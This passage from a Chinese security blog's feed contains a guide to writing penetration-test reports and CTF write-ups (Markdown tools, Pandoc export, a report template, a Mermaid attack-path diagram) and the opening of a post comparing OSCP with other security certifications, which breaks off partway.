&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>快速上手渗透测试报告写作：从WP到甲方报告的一站式指南</title><link>https://ruajingjing.top/post/%E5%A6%82%E4%BD%95%E5%86%99%E5%87%BA%E6%BC%82%E4%BA%AE%E7%9A%84wp%E6%8A%A5%E5%91%8A/</link><pubDate>Wed, 22 Jan 2025 16:13:45 +0000</pubDate><guid>https://ruajingjing.top/post/%E5%A6%82%E4%BD%95%E5%86%99%E5%87%BA%E6%BC%82%E4%BA%AE%E7%9A%84wp%E6%8A%A5%E5%91%8A/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post 快速上手渗透测试报告写作：从WP到甲方报告的一站式指南" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，回复关键词&lt;code&gt;找工具+WP&lt;/code&gt;获取本文分享的WP模板和工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;师傅们在渗透测试过程中肯定要写WP和报告，这里分享我个人关于怎么快速写出格式整齐，内容完整详细，方便后期复现回溯的WP或者称“渗透测试报告”的经验。&lt;/p&gt;
&lt;h2 id="软件和工具"&gt;软件和工具
&lt;/h2&gt;&lt;p&gt;首先，记笔记的首选语言当然是 &lt;strong&gt;Markdown&lt;/strong&gt;，以下是两个常用的 Markdown 编辑软件推荐：&lt;/p&gt;
&lt;h3 id="1-vscode"&gt;1. &lt;strong&gt;Vscode&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Vscode 配合 &lt;strong&gt;markdownlint&lt;/strong&gt; 插件和 &lt;strong&gt;Image preview&lt;/strong&gt; 插件，能让你高效编辑 Markdown 文件。&lt;a class="link" href="https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint" target="_blank" rel="noopener"
 &gt;&lt;strong&gt;markdownlint&lt;/strong&gt;&lt;/a&gt; 插件自带的功能可以在你复制图片时自动将图片转存到当前文件夹，并自动转换为 Markdown 格式的图片引用。&lt;a class="link" href="https://marketplace.visualstudio.com/items?itemName=kisstkondoros.vscode-gutter-preview" target="_blank" rel="noopener"
 &gt;&lt;strong&gt;Image preview&lt;/strong&gt;&lt;/a&gt;插件则可以在行号栏的左侧显示图片的缩略图，悬停时还能看到大图预览，这样就无需切换到左右预览模式，编辑 Markdown 更加便捷。如果你是团队合作，&lt;a class="link" href="https://marketplace.visualstudio.com/items?itemName=Gruntfuggly.todo-tree" target="_blank" rel="noopener"
 &gt;&lt;strong&gt;TODO Tree&lt;/strong&gt;&lt;/a&gt; 插件非常实用。它能够在文档中标记待办事项，对于长时间的渗透测试，帮助你标记哪些部分还需要复测或复现，远比传统的书签管理更为高效。使用 Vscode 的另一个优势是，它不仅适合Markdown 编辑，还支持代码调试，你可以在同一个平台上同时处理不同任务，减少频繁切换工具的麻烦。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250122163622073" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250122163622073.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250122163707184" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250122163707184.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250122163852568" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250122163852568.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250122164301151" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250122164301151.png"&gt;&lt;/p&gt;
&lt;h3 id="2-typora"&gt;2. &lt;strong&gt;Typora&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Typora 的最大优点就是它的 &lt;strong&gt;美观&lt;/strong&gt;，简洁的界面和即时渲染的功能让编辑体验更加流畅。虽然 &lt;strong&gt;Typora&lt;/strong&gt; 和 Vscode 都是通过 &lt;strong&gt;Pandoc&lt;/strong&gt; 实现导出 Word 和 PDF 的功能，导出效果几乎一致，但 &lt;strong&gt;Typora&lt;/strong&gt; 通过其优雅的界面和清爽的排版，能让你在长时间的安全研究中享受更多的视觉体验，缓解疲劳。毕竟，做网络安全工作已经够辛苦了，为什么不让编辑器也“好看”点呢？关于 Typora 的具体使用，我在之前的文章&lt;a class="link" href="https://blog.csdn.net/Bugatti100Peagle/article/details/145157289" target="_blank" rel="noopener"
 &gt;极客黑客的效率神器：Typora、Snipaste 与 Picgo 快速发布教程&lt;/a&gt;中已有详细分享。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注 泷羽Sec-静安 公众号，后台回复 找工具+20250115 获取相关软件&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="渗透测试报告的写作方法"&gt;渗透测试报告的写作方法
&lt;/h2&gt;&lt;p&gt;其次，最重要的一点是，请务必开启 &lt;strong&gt;Snipaste&lt;/strong&gt; 软件的 &lt;strong&gt;自动保存功能&lt;/strong&gt;。这个功能可以有效帮助你保存那些可能忘记保存的图片，尤其是在撰写报告时，涉及到带有 &lt;strong&gt;flag&lt;/strong&gt;、路径等证据性截图的部分。在渗透测试过程中，随时按下 &lt;strong&gt;F1&lt;/strong&gt; 键并回车，软件会自动保存截图，而不会影响你的进攻节奏或思路。完成攻击并收集到必要的资产后，你可以慢慢整理并编写报告，从之前保存的截图中挑选合适的证据，而无需在渗透时同时进行报告撰写。这不仅会拖慢进攻节奏，也可能被一些格式美观问题打断思路。&lt;/p&gt;
&lt;p&gt;在实际渗透过程中，我通常会在 &lt;strong&gt;VScode&lt;/strong&gt; 中打开一个新的页面，简单写下报告的标题，接着加上一条分割线 &lt;code&gt;---&lt;/code&gt;，然后将相关的信息随时记录在分割线以下，不需要考虑格式是否美观。这些信息可以包括路径、网址、获取的密码、使用的进攻方式等，甚至可以放上几张有用的图片和截图，但不用刻意调整对齐和格式。简单来说，就像流水账一样，将所有信息往文档里丢就行。&lt;/p&gt;
&lt;p&gt;当进攻目标暂时完成或可以复测时，可以适当停下来，整理之前的草稿，将分割线下的信息总结到分割线之上。整理的时候记得从自动保存的文件夹里找合适的截图，证明你的攻击成果。我推荐按照如下格式进行整理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;活动描述&lt;/strong&gt;：描述漏洞或攻击场景。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统名称&lt;/strong&gt;：例如 &lt;strong&gt;XXX 系统&lt;/strong&gt;（最好标明上下游系统关系，我个人通常使用 &lt;strong&gt;A &amp;gt; B&lt;/strong&gt; 表示从 A 系统进入 B 系统，这样后续画攻击路径图时会更直观）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标单位&lt;/strong&gt;：填入被攻击的单位名称，不是自己的单位。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网址&lt;/strong&gt;：&lt;a class="link" href="http://www.example.com/login.php" target="_blank" rel="noopener"
 &gt;http://www.example.com/login.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞名称&lt;/strong&gt;：例如 &lt;strong&gt;Windows 远程执行漏洞&lt;/strong&gt; 或 &lt;strong&gt;CVE-2024-38077&lt;/strong&gt;（如果有 CVE 编号，优先填写编号；如果没有 CVE 编号，使用最广泛的漏洞名称）。&lt;/li&gt;
&lt;li&gt;**泄露资产：**公民个人信息XXX条，内网服务器用户名和密码XX条，域控主机XX台（得分点的关键，最直观的指标就是看你拿了多少条信息）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;待清理文件/路径&lt;/strong&gt;：列出可能需要清理的文件或路径，便于后续复测。（就是说你木马放哪里了）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行 PoC&lt;/strong&gt;：（可选，如果使用了某个工具，需填写工具名称并附上截图；如果是自编 PoC，无论是 HTTP 请求头还是其他攻击载荷，都应完整写出 PoC，不能仅写关键路径，要将整个 PoC 内容写全）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;建议意见&lt;/strong&gt;：关于漏洞修复的建议策略，选填，可以在最后编写。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在授权测试的场景中，除了自己撰写的 Markdown 文件，通常甲方或你的队长会提供一个 Word 模板作为参考。这个模板通常包含表格、标题、目录等格式。然而，我&lt;strong&gt;不建议&lt;/strong&gt;在测试过程中直接在 Word 模板上修改或编写报告，因为 Word 的排版问题往往会成为干扰因素。例如，网址粘贴后可能会转行，导致格式错误；或者在复制粘贴图片时，会提示图片过大需要压缩，造成不必要的麻烦。&lt;/p&gt;
&lt;p&gt;更好的做法是，先使用上述的 Markdown 模板来写报告，完成后使用 &lt;strong&gt;Pandoc&lt;/strong&gt; 将 Markdown 文件导出为 Word 格式。你可以使用以下命令将 Markdown 文件导出为 &lt;code&gt;.docx&lt;/code&gt; 文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;pandoc input.md -o output.docx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;导出的 Word 文件可以上传到 &lt;strong&gt;WPS&lt;/strong&gt;，利用其 &lt;strong&gt;AI 排版功能&lt;/strong&gt;（请注意，高级别保密测试时不建议使用此功能）来调整格式。上传 Word 模板后，WPS 会自动根据模板的排版规则对导出的文件进行排版，生成符合模板要求的报告。&lt;/p&gt;
&lt;p&gt;此外，Word 模板通常还会要求绘制攻击路径图。如果你渗透了一个较大的内网，并通过突破的边界作为跳板在内网中横向移动，那么绘制一张清晰的攻击路径图显得尤为重要。这张图需要展示从哪个节点进入，接着又进入了哪个节点，然后是下一步进展到的新节点。&lt;/p&gt;
&lt;p&gt;如果你在 Markdown 编辑器中工作，我建议使用 &lt;strong&gt;Mermaid 语法&lt;/strong&gt; 来简单描述攻击路径。&lt;strong&gt;VScode&lt;/strong&gt; 和 &lt;strong&gt;Typora&lt;/strong&gt; 都支持 Mermaid 语法，能够将其渲染为流程图，并支持将其保存为图片。如果攻击路径节点较为复杂或庞大，建议使用专业的流程图绘制工具，比如 &lt;strong&gt;draw.io&lt;/strong&gt; 等，来绘制更清晰、专业的攻击路径图。&lt;/p&gt;
&lt;p&gt;例如，使用 Mermaid 语法可以创建一个简单的攻击路径流程图：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;graph LR
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; A[外部攻击者] --&amp;gt; B[扫描开放端口]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; B --&amp;gt; C[发现开放的 RDP 端口]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; C --&amp;gt; D[暴力破解 RDP 密码]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; D --&amp;gt; E[获得管理员权限]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; E --&amp;gt; F[横向渗透到其他系统]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt; F --&amp;gt; G[执行恶意操作]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt; G --&amp;gt; H[清理痕迹]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
 A[外部攻击者] --&gt; B[扫描开放端口]
 B --&gt; C[发现开放的 RDP 端口]
 C --&gt; D[暴力破解 RDP 密码]
 D --&gt; E[获得管理员权限]
 E --&gt; F[横向渗透到其他系统]
 F --&gt; G[执行恶意操作]
 G --&gt; H[清理痕迹]&lt;/pre&gt;&lt;p&gt;到这一步，渗透测试的报告撰写工作基本完成了。对于大多数红队队员来说，主要的任务还是攻破目标、执行测试，而不是花费大量时间在写一份美观的报告上。本文中提到的“美观漂亮”并不是指像老学究那样精雕细琢，而是指报告要便于不同部门的使用和理解。实际上，在渗透测试的实际工作中，重点是清晰、简洁、有效的传达测试结果，而不是追求格式的完美。&lt;/p&gt;
&lt;p&gt;在一些专业的测试场合，甲方或紫队会提供专用的测试监控软件，这些软件通常包括以下功能：监控摄像头、桌面截图、网络流量监控（特别是在涉及到保密测试时，需要注意避免连接外网），靶标单位发放（有些类似CTF赛事中的“放题”机制）、成果提交、非授权攻击行为提交等。更智能的是，许多此类工具会自动生成报告，并按节点组织，只需要简单填写相关内容（如复制之前的测试文字内容），软件就能自动生成结构化的报告。&lt;/p&gt;
&lt;p&gt;然而，即便是自动生成的报告，通常也需要经过多轮审核和修改。首先，队长或负责人会对报告进行初步审核，随后销售、财务、文员等人员也会参与审核，最后可能还会有专家审核。在这个过程中，报告的格式会被调整和美化，以确保它符合公司或甲方的需求，最终用于财务报账、开具发票等事务。所以，作为渗透测试人员，我们不必过于纠结报告的美观和格式，而应更专注于测试的本质和结果的准确性。&lt;/p&gt;
&lt;p&gt;总之，报告的结构、内容、清晰度是最重要的，格式问题可以交给后期的审批和修改过程来解决。最重要的是写清楚：&lt;strong&gt;网址&lt;/strong&gt;、&lt;strong&gt;漏洞名称&lt;/strong&gt;、&lt;strong&gt;泄露资产&lt;/strong&gt;、&lt;strong&gt;待清理文件/路径&lt;/strong&gt;、&lt;strong&gt;POC&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="日常靶机练习的wp写作方法"&gt;日常靶机练习的WP写作方法
&lt;/h2&gt;&lt;p&gt;与上一段渗透测试报告的写法类似，只是不需要写目标单位，泄露资产和建议意见。以下是一个模板：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;活动描述&lt;/strong&gt;：描述漏洞或攻击场景。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;靶机环境描述&lt;/strong&gt;：例如 &lt;strong&gt;XXX 系统&lt;/strong&gt;（最好标明靶机有什么特征，比如某端口开放，用了什么组件，方便以后复盘或者遇到相似情况，直接看曾经的WP参考了直接打）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;网址&lt;/strong&gt;：&lt;a class="link" href="http://www.example.com/login.php" target="_blank" rel="noopener"
 &gt;http://www.example.com/login.php&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;漏洞名称&lt;/strong&gt;：例如 &lt;strong&gt;Windows 远程执行漏洞&lt;/strong&gt; 或 &lt;strong&gt;CVE-2024-38077&lt;/strong&gt;（如果有 CVE 编号，优先填写编号；如果没有 CVE 编号，使用最广泛的漏洞名称）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;flag&lt;/strong&gt;：写flag的截图或者flag值（截图最好包含flag文件路径）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;执行 PoC&lt;/strong&gt;：（可选，如果使用了某个工具，需填写工具名称并附上截图；如果是自编 PoC，无论是 HTTP 请求头还是其他攻击载荷，都应完整写出 PoC，不能仅写关键路径，要将整个 PoC 内容写全）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;总之，WP（工作报告）和渗透测试报告都是红队必备的技能，尽管它们在撰写过程中有所不同。WP通常是自己练习或测试时的记录，主要目的是为了学习和复盘，以便在未来的实战中遇到类似情况时，能够像参考菜谱一样迅速复现攻击手法。特别是在内网渗透中，靶机的标准性和容易程度往往比外网更高（内网里比靶机还靶机还标准的系统一抓一大把），因此在记录时应该尽可能详细，涵盖使用的工具、安装过程、攻击路径等细节。这类WP更多是为自己做的练习总结。&lt;/p&gt;
&lt;p&gt;而对于CTF比赛或考试中的WP，则不需要过于详细。在这种情况下，重点是突出得分点和核心攻击路径，而不是逐步描述工具的安装过程或攻击的每个细节。CTF WP的目的是展示如何攻破某个特定环节并获取flag，因此只需要聚焦于关键工具、攻击路径和最终的flag，不必关注其他冗余细节。&lt;/p&gt;
&lt;p&gt;渗透测试报告和CTF中的WP有些相似，都是针对甲方或考官的需求进行编写。报告的重点是展示你如何发现并利用漏洞，泄露了哪些数据，如何修复这些漏洞。此类报告不需要详细写出每一步的攻击细节，只需提供关键证据和漏洞分析，证明你作为红队在授权范围内成功渗透了目标系统，并给出相应的修复建议。重点是让甲方或考官了解漏洞的存在和影响，而不是“教会”他们如何防御，避免过多的细节（教会了甲方，饿死乙方）。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day1 什么是OSCP，怎么报名和如何准备</title><link>https://ruajingjing.top/post/day1-%E4%BB%80%E4%B9%88%E6%98%AFoscp-%E6%80%8E%E4%B9%88%E6%8A%A5%E5%90%8D%E5%92%8C%E5%A6%82%E4%BD%95%E5%87%86%E5%A4%87/</link><pubDate>Wed, 15 Jan 2025 16:13:45 +0000</pubDate><guid>https://ruajingjing.top/post/day1-%E4%BB%80%E4%B9%88%E6%98%AFoscp-%E6%80%8E%E4%B9%88%E6%8A%A5%E5%90%8D%E5%92%8C%E5%A6%82%E4%BD%95%E5%87%86%E5%A4%87/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day1 什么是OSCP，怎么报名和如何准备" /&gt;&lt;h2 id="什么是oscp"&gt;什么是OSCP
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;OSCP&lt;/strong&gt;（Offensive Security Certified Professional）是由 &lt;strong&gt;Offensive Security&lt;/strong&gt; 推出的渗透测试认证考试，是全球最受认可、含金量最高的渗透测试认证之一。其配套课程 &lt;strong&gt;PWK&lt;/strong&gt;（Penetration Testing with Kali Linux）专为希望成为渗透测试专家的安全专业人士设计。课程内容侧重于使用 &lt;strong&gt;Kali Linux&lt;/strong&gt; 系统进行渗透测试，帮助学员全面理解网络攻击的技术和手段。&lt;/p&gt;
&lt;p&gt;OSCP 认证面向的群体主要是系统管理员、安全工程师以及那些有志于从事渗透测试工作的专业人士，无论你是刚入行的安全服务工程师，还是希望提升自己技术水平的中高级红队成员，OSCP 都是进入渗透测试领域的理想选择。&lt;/p&gt;
&lt;p&gt;通过参加 OSCP 培训，你将获得关于渗透测试的深入知识，学习如何发现、利用漏洞并进行完整的渗透测试，帮助你从专业角度理解和应对网络安全威胁。作为业界最具历史和影响力的认证之一，OSCP 培养的渗透测试技能被广泛应用于各种安全服务和防护措施中，是进入高级网络安全领域的关键一步。&lt;/p&gt;
&lt;h3 id="国外相似认证"&gt;国外相似认证
&lt;/h3&gt;&lt;p&gt;在网络安全领域，除了 &lt;strong&gt;OSCP（Offensive Security Certified Professional）&lt;/strong&gt; 认证，还有很多其他类似的渗透测试和网络安全认证。以下是几个知名的认证及其与 OSCP 的对比：&lt;/p&gt;
&lt;h4 id="1-cehcertified-ethical-hacker"&gt;1. &lt;strong&gt;CEH（Certified Ethical Hacker）&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：EC-Council&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：CEH 旨在培养能够合法攻击系统的道德黑客，通过模拟网络攻击来评估和加强系统的安全性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：CEH 提供的知识涉及网络攻击、扫描工具、漏洞分析、社会工程学等内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;难度与实践&lt;/strong&gt;：OSCP 更注重实践，要求考生完成实际的渗透测试，并通过挑战性的实际操作来完成认证；而 CEH 更侧重理论，考试是选择题，内容更广泛，适合入门级的安全从业者。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：OSCP 主要是面向那些希望深入渗透测试的人员，CEH 适合初学者及更注重知识广度的安全人员。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-cpt-certified-penetration-tester"&gt;2. &lt;strong&gt;CPT (Certified Penetration Tester)&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：IACRB（International Association of Computer Security Professionals）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：CPT 是一项侧重渗透测试的认证，要求考生展示他们在不同渗透测试场景中的能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：CPT 涵盖了渗透测试的各个方面，包括漏洞扫描、网络攻击、Web 渗透、无线网络安全等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;实战性&lt;/strong&gt;：OSCP 更侧重实际操作和渗透测试，强调通过 Kali Linux 工具进行的攻防对抗，而 CPT 同样关注渗透测试技能，但课程内容更宽泛，可能缺少 OSCP 那种“手把手”实践的深度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：OSCP 的考试要求考生完成一系列真实环境中的渗透测试任务，而 CPT 的考试可能更多关注特定知识点的测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-gpengiac-penetration-tester"&gt;3. &lt;strong&gt;GPEN（GIAC Penetration Tester）&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：SANS Institute&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：GPEN 认证旨在验证考生在渗透测试中的实际技能，尤其是在漏洞扫描、利用漏洞和报告方面的能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：GPEN 课程包括渗透测试的技术细节，如漏洞扫描、Web 安全、无线渗透测试等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;理论 vs 实践&lt;/strong&gt;：OSCP 更加注重实践和攻防实操，要求在考试中通过实践完成渗透测试任务，而 GPEN 的课程在理论与实践的平衡上略微偏重理论，考试也包含理论知识测试。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：OSCP 是一个非常注重挑战性的认证，要求考生对渗透测试有深入的理解和实践经验。相比之下，GPEN 的认证更注重从攻防对抗的全局角度理解渗透测试，难度较为适中。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-ecsa-ec-council-certified-security-analyst"&gt;4. &lt;strong&gt;ECSA (EC-Council Certified Security Analyst)&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：EC-Council&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：ECSA 认证专为已经有一定渗透测试经验的人员设计，重点培训如何分析渗透测试的结果，并提供深入的报告分析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：包括漏洞评估、网络渗透测试、Web 渗透测试、无线渗透等，并要求考生能够有效地分析、评估和汇报渗透测试结果。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;侧重点不同&lt;/strong&gt;：OSCP 更侧重渗透测试的实际操作和技术应用，而 ECSA 更侧重渗透测试的分析和报告部分，适合那些希望从事安全分析、渗透测试评估工作的专业人员。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-pnpt-practical-network-penetration-tester"&gt;5. &lt;strong&gt;PNPT (Practical Network Penetration Tester)&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：TCM Security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：PNPT 专为渗透测试人员设计，目标是评估其在进行网络渗透测试时的技术能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;课程内容&lt;/strong&gt;：PNPT 强调网络渗透测试的实际技能，包括信息收集、漏洞扫描、攻击方法、利用漏洞等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与 OSCP 的对比&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;考试方式&lt;/strong&gt;：PNPT 同样以实际操作为基础，考生需在规定的时间内完成网络渗透测试任务，类似于 OSCP 的考试模式，实操性较强。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：PNPT 的考试也非常重视实战操作，但相比 OSCP，它的难度和挑战性可能略低一些，适合那些初步进入渗透测试领域的人。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="总结对比"&gt;总结对比：
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;实践性：&lt;/strong&gt; &lt;strong&gt;OSCP&lt;/strong&gt; 是目前渗透测试认证中最注重实际操作的认证之一，考生必须通过一系列挑战性的渗透测试任务。其他认证（如 &lt;strong&gt;CEH&lt;/strong&gt;、&lt;strong&gt;GPEN&lt;/strong&gt;、&lt;strong&gt;ECSA&lt;/strong&gt;）相较之下，可能更多依赖理论考试和知识点评估。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难度：&lt;/strong&gt; &lt;strong&gt;OSCP&lt;/strong&gt; 被认为是最具挑战性的渗透测试认证之一，尤其适合那些有一定经验的安全专业人士。&lt;strong&gt;CEH&lt;/strong&gt; 相对简单一些，更适合初学者。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;适用群体：&lt;/strong&gt; 如果你希望成为一名渗透测试专家或红队成员，&lt;strong&gt;OSCP&lt;/strong&gt; 是最理想的选择；而 &lt;strong&gt;CEH&lt;/strong&gt; 和 &lt;strong&gt;GPEN&lt;/strong&gt; 适合那些希望全面了解网络安全的人员，特别是针对不同的安全分析和管理方向。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证含金量：&lt;/strong&gt; &lt;strong&gt;OSCP&lt;/strong&gt; 和 &lt;strong&gt;GPEN&lt;/strong&gt; 都是国际上非常知名且认可度高的认证，但 OSCP 更侧重渗透测试技术，含金量可能稍高于其他认证。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="中国国内相似认证"&gt;中国国内相似认证
&lt;/h3&gt;&lt;h4 id="1-cisp-注册信息安全专业人员"&gt;1. &lt;strong&gt;CISP (注册信息安全专业人员)&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;认证机构&lt;/strong&gt;：中国信息安全评测认证中心（CNITSEC）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证目标&lt;/strong&gt;：CISP 是中国信息安全行业的一项国家级认证，旨在提升信息安全技术人员的专业能力。包括专门的 &lt;strong&gt;CISP 渗透测试工程师认证&lt;/strong&gt;，侧重渗透测试、漏洞分析和网络攻防技术。&lt;/li&gt;
